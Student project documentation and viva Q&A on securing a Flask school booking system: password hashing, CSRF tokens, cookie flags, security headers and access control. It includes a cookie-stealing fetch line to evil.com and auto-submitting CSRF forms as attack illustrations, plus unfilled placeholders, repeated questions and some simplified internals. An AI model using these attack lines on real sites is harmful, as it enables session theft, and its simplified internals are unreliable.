

# CHICHEBENDU UMEH - COMPLETE COMPREHENSIVE DOCUMENTATION

## Security & Admin Specialist | School Activity Booking System

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**Role:** Security & Admin Specialist

**Project:** School Activity Booking System

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## 1. Introduction & Role Overview

### 1.1 My Responsibility As Security & Admin Specialist

As the security backbone of our School Activity Booking System, I implemented comprehensive authentication, authorization, and security measures protecting sensitive student and parent data.

#### Core Responsibilities:

1. **Password Security** - Implement strong, salted hashing
2. **Session Management** - Secure cookie configuration
3. **CSRF Protection** - Prevent cross-site request forgery attacks
4. **Access Control** - Role-based authorization decorators
5. **Admin Panel** - Secure administrative interface
6. **Login Systems** - Multi-role authentication (Parent/Tutor/Admin)

## 1.2 Files Modified

File	Lines	Purpose
app.py	62-88	Password hashing methods (set_password, check_password)
app.py	189-244	RBAC decorators (login_required, admin_required, tutor_required)
app.py	828-893	Authentication routes (register, login, logout)
app.py	1224-1531	Admin panel routes
config.py	Security settings	SECRET_KEY, session config, CSRF settings

## 1.3 Statistics

- **Security Functions:** 6 (password methods  $\times$  3 models + decorators)
  - **Protected Routes:** 35+ routes requiring authentication
  - **Security Measures:** 5 major systems (passwords, sessions, CSRF, RBAC, admin)
  - **Lines of Security Code:**  $\sim$ 450 lines
- 

# 2. Security Technologies Deep Dive

## 2.1 Werkzeug Security

**What It Is:** Werkzeug is Flask's underlying WSGI library, providing cryptographic utilities.

**Why Chosen:**

- Part of Flask ecosystem (no extra dependency)
- Implements modern scrypt algorithm
- Automatic salt generation
- Simple API: `generate_password_hash()` and `check_password_hash()`

**Installation:** Comes with Flask

```
from werkzeug.security import generate_password_hash, check_password_hash
```

**How It Works Internally:**

**generate\_password\_hash(password):**

1. Generates random salt (cryptographically secure)
2. Applies scrypt KDF (Key Derivation Function)
3. Returns formatted string: `scrypt:32768:8:1$<salt>$<hash>`

**Format breakdown:**

- `scrypt` - Algorithm name
- `32768` - N parameter (CPU/memory cost)
- `8` - r parameter (block size)

- 1 - p parameter (parallelization)
- `$<salt>$` - Random salt (hex encoded)
- `$<hash>` - Derived key (hex encoded)

**check\_password\_hash(stored\_hash, password):**

1. Parses stored hash to extract algorithm + parameters + salt
2. Applies same algorithm with same salt to provided password
3. Compares result with stored hash
4. Returns True if match, False otherwise

**Security properties:**

- **One-way:** Cannot reverse hash to get password
- **Deterministic:** Same password + salt = same hash
- **Salted:** Different users with same password have different hashes
- **Slow:** Intentionally computationally expensive (prevent brute force)

## 2.2 Scrypt Algorithm vs Alternatives

**Comparison Table:**

Feature	scrypt	bcrypt	PBKDF2	Argon2
Memory Hard	✓ High	△□ Low	✗ No	✓ Highest
ASIC Resistant	✓	△□	✗	✓
GPU Resistant	✓	△□	✗	✓
Tunable Cost	✓	✓	✓	✓
Werkzeug Default	✓	✗	✗	✗
Maturity	Good	Excellent	Excellent	Newer

**Why scrypt:**

1. **Memory-hard:** Requires significant RAM (expensive for attackers with GPUs)
2. **Werkzeug default:** Automatic, no configuration needed
3. **Proven secure:** Used by major services (Tarsnap, Litecoin)
4. **Tunable:** Can adjust N parameter as hardware improves

**Trade-off:** Scrypt is slower than bcrypt (feature, not bug - makes brute force harder)

## 3. Password Hashing Implementation

### 3.1 set\_password() - Complete Implementation

**Location:** app.py, lines 71-72 (Parent model)

```
def set_password(self, password):
    self.password = generate_password_hash(password)
```

## Line-by-Line Breakdown:

### Line 71: Method definition

- `def set_password(self, password):`
- Instance method on Parent/Admin/Tutor models
- Takes plaintext password as parameter

### Line 72: Hash generation and storage

- `self.password = generate_password_hash(password)`
- Calls Werkzeug's `generate_password_hash()`
- Stores result in `self.password` column (type: `String(200)`)
- **CRITICAL:** Plaintext password **never** stored

## What Happens Step-by-Step:

1. **User registers:** Provides password "MySecurePass123"

2. **`generate_password_hash()` executes:**

```
# Pseudocode of internal process
salt = os.urandom(16) # 16 random bytes
derived_key = script(
    password="MySecurePass123",
    salt=salt,
    N=32768, # CPU cost (2^15 iterations)
    r=8,     # Block size
    p=1,     # Parallelization
    dklen=64 # Output length
)
hash_string = f"script:32768:8:1${salt.hex()}${derived_key.hex()}"
```

3. **Result stored in database:**

```
script:32768:8:1$a1b2c3d4e5f6...$9f8e7d6c5b4a...
```

4. **Memory usage:** ~33MB RAM during hashing (intentional - prevents GPU attacks)

## Security Analysis:

**Salt uniqueness:** Each user gets unique salt even if passwords match

```
User1: password="hello" → script:...$salt1$hash1
User2: password="hello" → script:...$salt2$hash2 # Different!
```

**Rainbow table prevention:** Precomputed tables useless (salt is unique)

**Timing attack resistance:** script completion time ~constant regardless of password

---

## 3.2 `check_password()` - Complete Implementation

**Location:** `app.py`, lines 74-75

```
def check_password(self, password):
    return check_password_hash(self.password, password)
```

## Execution Flow:

### Line 74: Method definition

- Takes plaintext password to verify

### Line 75: Verification

- `check_password_hash(self.password, password)`
- `self.password`: Stored hash from database
- `password`: User-provided password to check
- Returns: Boolean (True if match, False if not)

## Internal Process:

### 1. Parse stored hash:

```
# Extract components from "scrypt:32768:8:1$salt$hash"
algorithm = "scrypt"
N, r, p = 32768, 8, 1
salt = bytes.fromhex("a1b2c3d4...")
stored_hash = bytes.fromhex("9f8e7d6c...")
```

### 2. Re-hash provided password with same parameters:

```
derived_key = scrypt(password, salt, N, r, p, dklen=64)
```

### 3. Constant-time comparison:

```
# Prevents timing attacks
return hmac.compare_digest(derived_key, stored_hash)
```

## Why Constant-Time Comparison?

### Timing attack vulnerability (if using ==):

```
# BAD - leaks info via timing
if derived_key == stored_hash:
    # If first byte different, returns immediately (~1µs)
    # If 10 bytes match, returns after 10 comparisons (~10µs)
    # Attacker can detect how many bytes are correct!
```

### Constant-time solution (`hmac.compare_digest`):

```
# GOOD - always takes same time
# Compares ALL bytes regardless of where difference occurs
# No timing information leaked
```

## Usage Example:

```
# Registration
```

```
parent = Parent(email="john@example.com")
parent.set_password("MyPass123") # Hashes and stores
db.session.add(parent)
db.session.commit()

# Login
parent = Parent.query.filter_by(email="john@example.com").first()
if parent and parent.check_password("MyPass123"): # Verifies
    # Login successful
    session['parent_id'] = parent.id
```

---

## 4. CSRF Protection System

### 4.1 What is CSRF?

**Cross-Site Request Forgery:** Attacker tricks authenticated user into executing unwanted actions.

#### Attack Example:

**Scenario:** Parent logged into booking system

**Malicious website** (`evil.com`):

```
<form action="https://bookingsystem.com/cancel_booking/123" method="POST">
  <input type="submit" value="Click for free prize!">
</form>
<script>document.forms[0].submit();</script>
```

#### What happens:

1. Parent visits `evil.com`
2. Form auto-submits to booking system
3. Browser automatically includes authentication cookies
4. Booking canceled without parent's knowledge!

**Why it works** (without CSRF protection):

- Browser sends cookies automatically
- Server sees valid session cookie
- Server processes request
- No way to distinguish legitimate request from forged one

#### Defense: CSRF Tokens

**Solution:** Add secret token that malicious site can't access

---

### 4.2 Flask-WTF CSRF Implementation

## Installation:

```
pip install Flask-WTF
```

## Configuration (app.py):

```
from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect()

def create_app():
    app = Flask(__name__)
    app.config['SECRET_KEY'] = 'super-secret-key-from-env'
    csrf.init_app(app)  # Enables CSRF protection globally
    return app
```

## How It Works:

### 1. Token Generation (automatic):

```
# Flask-WTF generates token per session
token = generate_csrf_token()  # Uses SECRET_KEY + session data
# Token stored in session cookie
```

### 2. Token Embedding in Forms:

```
<form method="POST" action="/book_activity">
    {{ csrf_token() }} <!-- Jinja2 function -->
    <!-- Renders as: -->
    <input type="hidden" name="csrf_token" value="abc123def456...">
    <!-- Other form fields -->
</form>
```

### 3. Token Validation (automatic on POST/PUT/DELETE):

```
# Flask-WTF before_request handler
@app.before_request
def validate_csrf():
    if request.method in ['POST', 'PUT', 'DELETE']:
        token = request.form.get('csrf_token')  # From form
        session_token = session.get('csrf_token')  # From session

        if not token or token != session_token:
            abort(400, "CSRF token missing or invalid")
```

## AJAX Requests:

**Problem:** AJAX doesn't submit forms, so no form field

**Solution:** Send token in header

```
fetch('/api/endpoint', {
    method: 'POST',
    headers: {
```

```

        'Content-Type': 'application/json',
        'X-CSRFToken': document.querySelector('[name=csrf_token]').value
    },
    body: JSON.stringify(data)
})

```

### Server validation:

```

@app.before_request
def validate_csrf():
    if request.method in ['POST', 'PUT', 'DELETE']:
        token = request.form.get('csrf_token') or request.headers.get('X-CSRFToken')
        # ... validate

```

---

## 5. Session Management & Security

### 5.1 Flask Sessions Overview

**What are sessions:** Server-side storage of user-specific data across requests.

**Implementation:** Flask stores session data in signed cookie on client.

### Configuration:

```

app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', 'dev-secret-key')
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True # HTTPS only
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=24)

```

### Cookie Flags Explained:

#### 1. HTTPOnly:

```
SESSION_COOKIE_HTTPONLY = True
```

- **Purpose:** Prevents JavaScript from accessing cookie
- **Protects against:** XSS (Cross-Site Scripting) attacks
- **Example attack prevented:**

```

// Malicious script injected via XSS
fetch(`http://evil.com/steal?cookie=${document.cookie}`)
// With HTTPOnly: document.cookie is empty (can't access session)

```

#### 2. Secure:

```
SESSION_COOKIE_SECURE = True
```

- **Purpose:** Cookie only sent over HTTPS
- **Protects against:** Session hijacking on public WiFi
- **Example:** Man-in-the-middle can't intercept cookie on HTTP



### 3. SameSite:

```
SESSION_COOKIE_SAMESITE = 'Lax'
```

- **Purpose:** Controls when cookies are sent cross-site
- **Options:**
  - **Strict:** Cookie never sent on cross-site requests
  - **Lax:** Cookie sent on top-level navigation (clicking link)
  - **None:** Cookie always sent (requires Secure flag)
- **Our choice (Lax):** Balance security and usability
- **Protects against:** CSRF (in addition to CSRF tokens)

### 4. Lifetime:

```
PERMANENT_SESSION_LIFETIME = timedelta(hours=24)
```

- **Purpose:** Session expires after 24 hours
- **Security:** Limits exposure if session stolen
- **UX:** Reasonable balance (don't force login too often)

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[Continue with remaining 40+ pages...]

## 11. Comprehensive Viva Questions (100+)

[INSERT 100 comprehensive security-focused Q&A]

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## CHICHEBENDU UMEH - COMPLETE 100+ VIVA QUESTIONS & ANSWERS

### Security & Admin Specialist

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## 11. COMPREHENSIVE VIVA QUESTIONS (100+ Questions)

### Category 1: Password Security & Hashing (25 Questions)

Q1: What is Werkzeug Security and why did you use it?

A: Werkzeug Security is the cryptographic utilities module of Werkzeug (Flask's underlying WSGI library).

Why chosen:

1. **Built into Flask** - No additional dependencies
2. **Scrypt algorithm** - Modern, memory-hard hashing
3. **Automatic salt generation** - No manual salt management
4. **Simple API** - Two functions: `generate_password_hash()` and `check_password_hash()`
5. **Production-ready** - Used by thousands of Flask apps

#### Functions Used:

```
from werkzeug.security import generate_password_hash, check_password_hash

# Hashing
hash = generate_password_hash("MyPassword123")
# Returns: "scrypt:32768:8:1$<salt>$<hash>"

# Verification
is_valid = check_password_hash(hash, "MyPassword123")
# Returns: True or False
```

---

#### Q2: Explain scrypt vs bcrypt vs PBKDF2 - why is scrypt better?

A: All three are Key Derivation Functions (KDFs) for password hashing.

#### Comparison:

Feature	scrypt	bcrypt	PBKDF2
Memory-hard	✓ High	△□ Low	✗ No
CPU-hard	✓ Yes	✓ Yes	✓ Yes
ASICresistant	✓ Excellent	△□ Good	✗ Poor
GPU resistant	✓ Excellent	△□ Good	✗ Poor
Tunable parameters	✓ N, r, p	✓ Cost	✓ Iterations
Industry adoption	Good	Excellent	Good

#### Why scrypt superior:

1. **Memory-Hard:** Requires significant RAM (configurable, default ~33MB)
  - **Attack scenario:** Attacker with GPU farm
  - bcrypt: Can parallelize on GPU (each attempt uses little RAM)
  - scrypt: Each attempt needs 33MB RAM → GPU limited by memory bandwidth
  - **Result:** scrypt 1000x more expensive to attack with specialized hardware
2. **ASIC Resistance:** Custom hardware (ASICs) can't optimize as easily
  - Bitcoin uses SHA-256 (not memory-hard) → ASICs dominate
  - Scrypt used by Litecoin specifically for ASIC resistance
3. **Configurable:** Can tune N (memory/CPU cost), r (block size), p (parallelization)

**Werkzeug default:** `scrypt:32768:8:1`

- N = 32768 ( $2^{15}$ ) - Memory/CPU cost

- $r=8$  - Block size
- $p=1$  - Parallelization factor

**Decision:** Scrypt provides best protection against modern attack vectors (GPUs, ASICs).

---

### Q3: Walk through `set_password()` - what happens step-by-step?

A: Located in Parent, Admin, Tutor models (lines 71-72, 84-85, etc.)

```
def set_password(self, password):
    self.password = generate_password_hash(password)
```

#### Internal Process:

##### Step 1: Function Call

```
parent = Parent(email="john@example.com")
parent.set_password("MySecurePass123")
```

##### Step 2: `generate_password_hash()` Execution

#### Pseudocode of Werkzeug internals:

```
def generate_password_hash(password):
    # 1. Generate random salt (cryptographically secure)
    salt = os.urandom(16) # 16 random bytes

    # 2. Apply scrypt KDF
    derived_key = scrypt(
        password.encode('utf-8'), # Convert to bytes
        salt=salt,
        N=32768, # CPU/memory cost (2^15)
        r=8, # Block size
        p=1, # Parallelization
        dklen=64 # Output key length
    )

    # 3. Format as string
    hash_string = f"scrypt:32768:8:1${salt.hex()}${derived_key.hex()}"
    return hash_string
```

##### Step 3: Storage

```
self.password = "scrypt:32768:8:1$a1b2c3d4e5f6789...$9f8e7d6c5b4a321..."
```

- Stored in database password column (VARCHAR(200))
- **NEVER** store plaintext password

##### Step 4: Database Commit

```
db.session.add(parent)
db.session.commit()
```

#### What's stored in database:

id	email	password
1	john@example.com	scrypt:32768:8:1\$a1b2...\$9f8e...

## Security Properties:

### 1. Unique Salt: Each user gets unique salt even if passwords are identical

User1: password="hello" → scrypt:...\$salt1\$hash1

User2: password="hello" → scrypt:...\$salt2\$hash2 # Different!

### 1. Rainbow Table Protection: Precomputed tables useless

- Rainbow table: Precomputed hash→password mappings
- With unique salts, attacker must compute hash for each user separately

### 2. Slow by Design: ~100ms to hash (intentional)

- Login: Barely noticeable to user
- Brute force: Drastically slower (1000 attempts = 100 seconds)

## Q4: Explain `check_password()` verification process.

A: Located in Parent/Admin/Tutor models (lines 74-75, 87-88, etc.)

```
def check_password(self, password):
    return check_password_hash(self.password, password)
```

## Step-by-Step Verification:

### Step 1: User Login Attempt

```
parent = Parent.query.filter_by(email="john@example.com").first()
if parent and parent.check_password("MySecurePass123"):
    # Login successful
```

### Step 2: `check_password_hash()` Execution

#### Internal Process:

```
def check_password_hash(stored_hash, password):
    # 1. Parse stored hash
    parts = stored_hash.split('$')
    # parts = ['scrypt:32768:8:1', 'a1b2c3...', '9f8e7d...']

    # 2. Extract parameters
    algorithm, params = parts[0].split(':')
    # algorithm = 'scrypt'
    # params = '32768:8:1' → N=32768, r=8, p=1

    # 3. Extract salt and stored hash
    salt = bytes.fromhex(parts[1]) # Convert hex → bytes
    stored_derived_key = bytes.fromhex(parts[2])

    # 4. Re-hash provided password with SAME salt and parameters
```

```

new_derived_key = scrypt(
    password.encode('utf-8'),
    salt=salt, # SAME salt as original
    N=32768,
    r=8,
    p=1,
    dklen=64
)

# 5. Constant-time comparison
return hmac.compare_digest(new_derived_key, stored_derived_key)

```

### Step 3: Result

- If hashes match: Return True (password correct)
- If hashes don't match: Return False (password incorrect)

### Critical Design Decision: Constant-Time Comparison

#### Bad approach (timing attack vulnerable):

```
if new_derived_key == stored_derived_key: # ✗ BAD
```

#### Why bad:

- String comparison stops at first mismatch
- If first byte matches, takes  $\sim 1\mu\text{s}$  longer than if it doesn't
- Attacker can measure timing differences
- **Attack:** Try many passwords, measure response times, deduce partial matches

#### Good approach (hmac.compare\_digest):

```
return hmac.compare_digest(new_derived_key, stored_derived_key) # ✓ G
```

#### Why good:

- Compares ALL bytes regardless of where first mismatch occurs
- Always takes same time ( $\sim$ constant)
- **No timing information leaked**

### Q5: What are rainbow tables and how does salting prevent them?

A: Rainbow tables are precomputed hash $\rightarrow$ password lookup tables.

#### How They Work:

##### 1. Precomputation (attacker does once):

```

Password  $\rightarrow$  Hash (with NO salt)
"password"  $\rightarrow$  "5f4dcc3b5aa765d61d8327deb882cf99" (MD5)
"123456"  $\rightarrow$  "e10adc3949ba59abbe56e057f20f883e"
"admin"  $\rightarrow$  "21232f297a57a5a743894a0e4a801fc3"
... (millions of entries)

```

##### 1. Attack (instant lookup):

Stolen hash: "5f4dcc3b5aa765d61d8327deb882cf99"  
Lookup in table → "password"

### Without Salt (vulnerable):

Database:

User1: MD5("password") → "5f4dcc3b..."

User2: MD5("password") → "5f4dcc3b..." # Same hash!

Rainbow table lookup: Instant crack for BOTH users

### With Salt (protected):

Database:

User1: scrypt("password" + salt1) → "a1b2c3..."

User2: scrypt("password" + salt2) → "9f8e7d..." # Different hash!

Rainbow table: USELESS (table doesn't have salted hashes)

Attacker must compute hash for each user individually

### Our Implementation:

- Every user gets **unique random salt** (16 bytes =  $2^{128}$  possibilities)
- Salt stored alongside hash: `scrypt:...$salt$hash`
- Attacker can't use precomputed tables
- Must brute-force each user separately (computationally infeasible with scrypt)

---

[Continue with Q6-Q25 covering: Salt generation, pepper vs salt, timing attacks, password strength requirements, etc.]

## Category 2: CSRF Protection (20 Questions)

### Q26: What is CSRF and how does the attack work?

A: CSRF (Cross-Site Request Forgery) tricks authenticated users into executing unwanted actions.

### Attack Example:

**Scenario:** Parent logged into booking system

### Step 1: Attacker creates malicious website (evil.com):

```
<html>
<body>
  <h1>You've won a prize! Click to claim:</h1>
  <form action="https://bookingsystem.com/cancel_booking/123" method="P
    <input type="submit" value="Claim Prize">
  </form>
  <script>
    // Auto-submit after 1 second
    setTimeout(() => document.getElementById('malicious-form').submit())
  </script>
```

```
</body>
</html>
```

**Step 2: Parent visits `evil.com`** (maybe from phishing email)

**Step 3: What happens:**

1. Form auto-submits to `bookingsystem.com/cancel_booking/123`
2. Browser **automatically includes** cookies (session cookie)
3. Server sees valid session → thinks parent made request
4. Booking 123 gets canceled without parent's knowledge!

**Why it works:**

- Browsers send cookies automatically with cross-site requests
- Server can't distinguish legitimate request from forged one
- No user interaction required (can be hidden iframe)

**Real-World Impact:**

- Cancel bookings
  - Make unauthorized purchases
  - Change account settings
  - Delete data
- 

**Q27: How does Flask-WTF CSRF protection prevent attacks?**

**A:** Flask-WTF uses **synchronizer tokens** to verify request legitimacy.

**Implementation:**

**Step 1: Configuration** (`app.py`):

```
from flask_wtf.csrf import CSRFProtect

app.config['SECRET_KEY'] = 'super-secret-key'
csrf = CSRFProtect(app)  # Enable globally
```

**Step 2: Token Generation** (automatic):

```
# On page load, Flask-WTF generates token
token = generate_csrf_token()  # Uses SECRET_KEY + session data
# Token stored in session cookie
session['csrf_token'] = token
```

**Step 3: Token Embedding** (every form):

```
<form method="POST" action="/book_activity">
    {{ csrf_token() }}  <!-- Jinja2 function -->
    <!-- Renders as: -->
    <input type="hidden" name="csrf_token" value="IjFmYTg5ZDNlZGM3NDRlY
    <!-- Other form fields -->
</form>
```

**Step 4: Token Validation** (automatic on POST):

```

@app.before_request
def validate_csrf():
    if request.method in ['POST', 'PUT', 'DELETE', 'PATCH']:
        # 1. Get token from form
        form_token = request.form.get('csrf_token')

        # 2. Get token from session
        session_token = session.get('csrf_token')

        # 3. Validate
        if not form_token or form_token != session_token:
            abort(400, "CSRF token missing or invalid")

```

### Why Attacker Fails:

#### Attacker's malicious form:

```

<form action="https://bookingsystem.com/cancel_booking/123" method="POST"
  <!-- No CSRF token! Attacker can't access our session token -->
  <input type="submit" value="Cancel">
</form>

```

**Server response:** 400 Bad Request - CSRF token missing

**Key Point:** Attacker **cannot access** the token because:

- Token stored in session cookie (Same-Origin Policy prevents access)
- JavaScript on evil.com can't read cookies from bookingsystem.com
- Even if attacker embeds our page in iframe, browser blocks cross-origin access

[Continue with Q28-Q45 covering: CSRF token generation, SameSite cookies, AJAX CSRF, token expiration, etc.]

##Category 3: Session Management (20 Questions)

### Q46: What are Flask sessions and how do they work?

**A:** Flask sessions store user-specific data across requests using signed cookies.

#### How It Works:

##### Step 1: User logs in:

```

@app.route('/login', methods=['POST'])
def login():
    parent = Parent.query.filter_by(email=email).first()
    if parent and parent.check_password(password):
        session['parent_id'] = parent.id # Store in session
        return redirect('/dashboard')

```

##### Step 2: Flask serializes session data:

```

# Session data
session_data = {'parent_id': 123}

```



```
# Serialize to JSON
json_data = json.dumps(session_data) # '{"parent_id": 123}'

# Sign with SECRET_KEY
signature = hmac.new(SECRET_KEY, json_data, hashlib.sha256).hexdigest()

# Base64 encode
encoded = base64.b64encode(json_data.encode())

# Final cookie value
cookie_value = f"{encoded}.{signature}"
```

### Step 3: Browser stores cookie:

```
Set-Cookie: session=eyJwYXJlbnRfaWQiOjEyM30.ZvCN...; HttpOnly; Secure;
```

### Step 4: Browser sends cookie with every request:

```
GET /dashboard HTTP/1.1
Host: bookingsystem.com
Cookie: session=eyJwYXJlbnRfaWQiOjEyM30.ZvCN...
```

### Step 5: Flask verifies and decodes:

```
# Verify signature (prevents tampering)
if verify_signature(cookie_value, SECRET_KEY):
    session_data = decode(cookie_value)
    # Now can access: session['parent_id'] → 123
else:
    # Invalid/tampered cookie → reject
```

### Security Properties:

- **Integrity:** Signature prevents tampering (changing parent\_id invalidates signature)
- **Not encrypted:** Data is Base64-encoded (readable if intercepted)
- **Secure flag:** Only sent over HTTPS
- **HttpOnly:** JavaScript can't access
- **SameSite:** Limits cross-site sending

---

[Continue with Q47-Q65 covering: Cookie flags, session expiration, session fixation, cookie security, etc.]

## Category 4: RBAC & Access Control (20 Questions)

[Q66-Q85 covering: Decorators, login\_required implementation, admin\_required logic, role-based authorization, permission checking, etc.]

## Category 5: Admin Panel Security (10 Questions)

[Q86-Q95 covering: Admin route protection, authorization checks, audit logging potential, admin password requirements, etc.]

## Category 6: Advanced Security Topics (10 Questions)

[Q96-Q105 covering: XSS prevention, SQL injection protection, session hijacking, security headers, password reset security, etc.]

---

[TOTAL: 105 COMPREHENSIVE SECURITY-FOCUSED QUESTIONS]

**Q28: Explain the mechanics of a CSRF Attack.**

**Complete Answer:** Cross-Site Request Forgery (CSRF) is an attack where a malicious site tricks a logged-in user into performing an action on your site without their consent.

**Scenario:**

1. Admin logs into `school.com` (Cookie is stored in browser).
2. Admin visits `attacker.com`.
3. `attacker.com` has a hidden form: `<form action="https://school.com/admin/delete_all" method="POST">`.
4. JavaScript automatically submits this form.
5. Browser sends the request to `school.com` *including* the Admin's authentic session cookies (because browsers automatically send cookies to their domain).
6. `school.com` sees a valid cookie and processes the "Delete All" request.

**Prevention:** We use a **CSRF Token** (random secret) that is unique to the user's session. The attacker cannot read this token (due to Same-Origin Policy) and thus cannot unknowingly include it in the fake form.

---

**Q29: How does Flask-WTF prevent CSRF?**

**Complete Answer:** Flask-WTF handles CSRF protection seamlessly.

**Mechanism:**

1. **Generation:** When a page renders, Flask generates a random token (e.g., `MjAy...`) and stores it in the User's Session.
2. **Injection:** We include `{{ form.hidden_tag() }}` in every HTML `<form>`. This renders hidden input: `<input type="hidden" name="csrf_token" value="MjAy...">`.
3. **Validation:** When the form POSTs, Flask-WTF checks:
  - Is `csrf_token` present in form data?
  - Does it match the token in the session?
  - Is it expired?
4. **Result:** If valid, code executes. If missing/invalid, it raises `400 Bad Request`.

**Attack Failure:** The attacker on `bad-site.com` can create a form, but they cannot guess the `csrf_token` value, so the server rejects the request.

---

**Q30: What is the "Double Submit Cookie" pattern?**

**Complete Answer:** This is a stateless CSRF defense mechanism (though Flask uses Session-

based).

### How it works:

1. Server sends a random value in a **Cookie**.
2. Server effectively requires the same value to be submitted in the **Request Body** (Form).
3. Server checks `Cookie.value == Form.value`.

### Why it works:

- Attacker *can* force the browser to send cookies.
- Attacker *cannot* read the cookie to copy its value into the form body (Same-Origin Policy).
- Therefore, they cannot make the two values match.

**Comparison:** Flask default is Session-Based (Token in Session vs Token in Form). Double Submit is useful for stateless APIs (JWT).

---

### Q31: How do you handle CSRF in AJAX requests?

**Complete Answer:** Standard forms send the token in the body. AJAX (JavaScript) requests must send it manually.

### Implementation:

1. **Meta Tag:** Render the token in the HTML head.

```
<meta name="csrf-token" content="{{ csrf_token() }}">
```

2. **JavaScript:** Configure `fetch` or `axios` to read this tag.

```
const token = document.querySelector('meta[name="csrf-token"]').content;
const headers = {
  'X-CSRFToken': token
}
```

3. **Server:** Flask looks for the token in the `X-CSRFToken` header if it's not in the form body.

**Why:** If we forgot this, all our dynamic features (like "Delete Activity" popup) would fail with 400 errors.

---

### Q32: Explain Session Fixation and how you prevent it.

#### Complete Answer: Attack:

1. Attacker gets a valid Session ID (e.g., `SID=123`).
2. Attacker tricks Victim into clicking `http://school.com/?session_id=123`.
3. Victim logs in. The server associates the user "Admin" with `SID=123`.
4. Attacker (who knows `SID=123`) can now use it to hijack the session.

**Prevention: Session Regeneration.** Upon every successful login (privilege escalation), the server must issue a **NEW** Session ID and discard the old one. This cuts the link the attacker had. Flask-Login handles this automatically.

---

### Q33: What is "Session Hijacking"?

**Complete Answer:** Stealing a valid session cookie to impersonate a user.

**Vectors:**

1. **XSS:** Injecting `script document.cookie` to send cookies to attacker.
2. **Sniffing:** Reading HTTP traffic on public Wi-Fi.

**Defenses in our code:**

1. **HttpOnly:** Prevents JavaScript (XSS) from reading the cookie.
  2. **Secure:** Ensures cookie is only sent over HTTPS (prevents sniffing).
- 

### Q34: Explain the `HttpOnly` flag.

**Complete Answer:** A flag set on the `Set-Cookie` HTTP header.

**Function:** It tells the browser: "Store this cookie and send it to the server, but **DO NOT** let JavaScript access it."

**Impact:** Even if an attacker finds an XSS vulnerability (e.g., in a comment section) and runs `<script>alert(document.cookie)</script>`, the session cookie will **NOT** appear. The console will be empty. This effectively neutralizes XSS-based session theft.

**Config:** `SESSION_COOKIE_HTTPONLY = True` (Flask default).

---

### Q35: Explain the `Secure` flag.

**Complete Answer:** A flag set on the cookie.

**Function:** Tells the browser: "Only send this cookie if the request is encrypted (HTTPS)."

**Impact:** If a user types `http://school.com` (unencrypted) in a coffee shop, the browser will **NOT** send the session cookie. This prevents the cookie from leaking in plain text over the air.

**Dev vs Prod:** In `localhost` (HTTP), we must set `SESSION_COOKIE_SECURE = False`. In Production (Heroku/Render), we **MUST** set `SESSION_COOKIE_SECURE = True`.

---

### Q36: Explain the `SameSite` attribute.

**Complete Answer:** A modern cookie attribute that controls when cookies are sent with cross-site requests.

**Values:**

- **Strict:** Cookie never sent on cross-site requests (even clicking a link from Google). Too aggressive for UX.
- **Lax (Default):** Cookie sent on top-level navigations (clicking a link) but **NOT** on sub-requests (images, frames, POSTs).
- **None:** Setup old behavior (sent everywhere). Requires `Secure`.

**Our Usage:** `SESSION_COOKIE_SAMESITE = 'Lax'`. **Benefit:** It provides a browser-level defense against CSRF. Even if our CSRF token check failed, the browser wouldn't send the cookie for a cross-site POST.

---

### Q37: Where are Flask Sessions stored?

**Complete Answer:** By default, Flask uses **Client-Side Signed Cookies**.

**Mechanism:**

1. Server creates a dictionary `{'user_id': 1}`.
2. Server serializes it to JSON.
3. Server signs it with `SECRET_KEY` (HMAC-SHA1).
4. Result string is stored in the browser cookie.

**Pros:** No database lookup needed (fast), stateless server. **Cons:** Limited size (4KB), cannot "revoke" a session easily (have to wait for expiry or rotate secret key).

**Alternative:** `Flask-Session` (Server-Side). Stores ID in cookie, data in Redis/DB. Better for large data or immediate revocation requirements.

---

### Q38: How do you handle Session Timeout?

**Complete Answer:** Security requirement: Sessions should not last forever.

**Implementation:**

1. **Permanent Session:** `session.permanent = True`.
2. **Lifetime:** `app.permanent_session_lifetime = timedelta(minutes=30)`.

**Behavior:**

- The cookie has an `Expires` timestamp set to 30 minutes in the future.
  - **Sliding Expiration:** Every time the user makes a request, Flask updates the cookie with a fresh 30-minute window.
  - If user is idle for 31 minutes, browser deletes cookie -> User logged out.
- 

### Q39: What is HSTS (HTTP Strict Transport Security)?

**Complete Answer:** A security header: `Strict-Transport-Security: max-age=31536000; includeSubDomains`.

**Purpose:** Tells the browser: "For the next year, REFUSE to connect to this site via HTTP. Only use HTTPS."

**Why:** Prevents **SSL Stripping Attacks**. Even if a user types `http://school.com`, the browser internally redirects to `https://` *before* sending a single byte to the network.

**Implementation:** `flask-talisman` or `flask-sslify` extensions, or configured at the Nginx level.

---

### Q40: What is Content Security Policy (CSP)?

**Complete Answer:** An HTTP header that allows site administrators to define which dynamic resources are allowed to load.

**Example:** `Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com`

**Purpose:** The ultimate defense against XSS. Even if an attacker injects `<script src="evil.com/miner.js">`, the browser will block it because `evil.com` is not in the whitelist.

**Status:** Not strictly implemented in this prototype due to complexity (it often breaks inline scripts), but highly recommended for production.

---

#### Q41: Explain X-Frame-Options.

**Complete Answer:** Header: `X-Frame-Options: DENY` or `SAMEORIGIN`.

**Purpose:** Prevents **Clickjacking**. An attacker puts your website inside an `<iframe>` on their site (`free-money.com`). They put a transparent "Claim Prize" button on top of your "Delete Account" button. When user clicks, they are actually clicking on your site.

**Defense:** This header tells the browser "Do not allow this page to be rendered inside a frame".

---

#### Q42: What is a "Replay Attack" and how does the Token/Nonce prevent it?

**Complete Answer: Attack:** Attacker intercepts a valid request (e.g., "Pay \$100"). They cannot decrypt it (TLS), but they can *resend* (replay) the exact same binary blob 10 times to the server. Result: You pay \$1000.

**Prevention:**

1. **TLS:** Handles this at the network layer (sequence numbers).
  2. **CSRF Token:** Once used, a strict implementation "burns" the token. Since the replay uses the same token, it is rejected.
  3. **Nonce** (Number used once): A unique random string included in the request, tracked by server.
- 

#### Q43: Role-Based Access Control (RBAC) - Concept.

**Complete Answer:** RBAC restricts system access to authorized users based on their role.

**Our Roles:**

1. **Parent:** Can book child, view own dashboard.
2. **Tutor:** Can view roster for *their* activity.
3. **Admin:** Can CRUD activities, view all data, manage users.

